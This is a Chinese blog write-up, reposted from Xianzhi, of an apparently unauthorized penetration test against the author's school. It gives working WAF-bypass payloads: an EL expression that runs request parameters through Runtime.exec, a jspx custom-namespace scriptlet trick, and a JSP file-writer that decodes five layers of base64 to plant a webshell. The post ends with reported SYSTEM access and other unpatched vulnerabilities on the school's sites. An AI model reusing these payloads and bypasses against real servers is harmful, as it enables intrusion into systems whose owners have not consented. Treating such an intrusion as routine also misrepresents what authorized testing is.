记一次绕过waf的任意文件上传

声明

以下内容,来自先知社区的John作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

前言

前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折,期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。

0x01 获取网站接口

主界面:

图片

上传点:

图片

由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie

图片

任意文件上传:

图片

0x02 后缀名绕过

代码不限制后缀名,但是waf限制呀!

后缀名jsp,jspx会拦截,但是jspp,jspxx等不会拦截。

所以要利用windows特性绕过,常规的绕过手法例如末尾加点号、::$DATA均无法绕过

图片

经过fuzz,发现正斜杠可以绕过

图片

0x03 内容绕过

常见的jsp标记均无法绕过

图片

图片

所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种绕过方法:

  • jspEL表达式绕过

  • jspx命名空间绕过

第一种是利用${}标记:

payload:

${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话,需要变形绕过,鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法

第二种是利用命名空间的特性:

参照yzddmr6师傅的图:

图片

使用自定义的命名空间,替换掉jsp的关键字,将原本的替换成jsp:scriptlet

这样waf的正则匹配不到自然就会放行

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        out.println(30*30);
    </hi:scriptlet>
</hi>

图片

图片

0x04 获取网站路径

这里我们不能用相对路径来写入webshell,因为Tomcat与Apache不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录

# 获取当前的根目录 
String path = System.getProperty("user.dir"); out.println(path);

图片

# 获取web项目所在的目录 
String path = application.getRealPath("test.jsp"); out.println(path);

图片

所以写入shell的绝对路径应为

D:/tomcat8/webapps/declare/static/upload/test.jsp

0x05 编码或加密绕过waf写入shell

菜鸡的payload:

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>

一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过。

鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过

图片

成功getshell,System权限

图片

看了一眼依赖,可能存在log4j2和jackson的RCE,留着下次当靶场继续测试

图片

0x06 总结

深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了。

学校其他站点有thinkphp5.0.23 RCE、泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz。

本菜鸡第一次写文,如有错误或建议欢迎指出,各位师傅们轻喷

原文链接:

https://xz.aliyun.com/t/11337

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值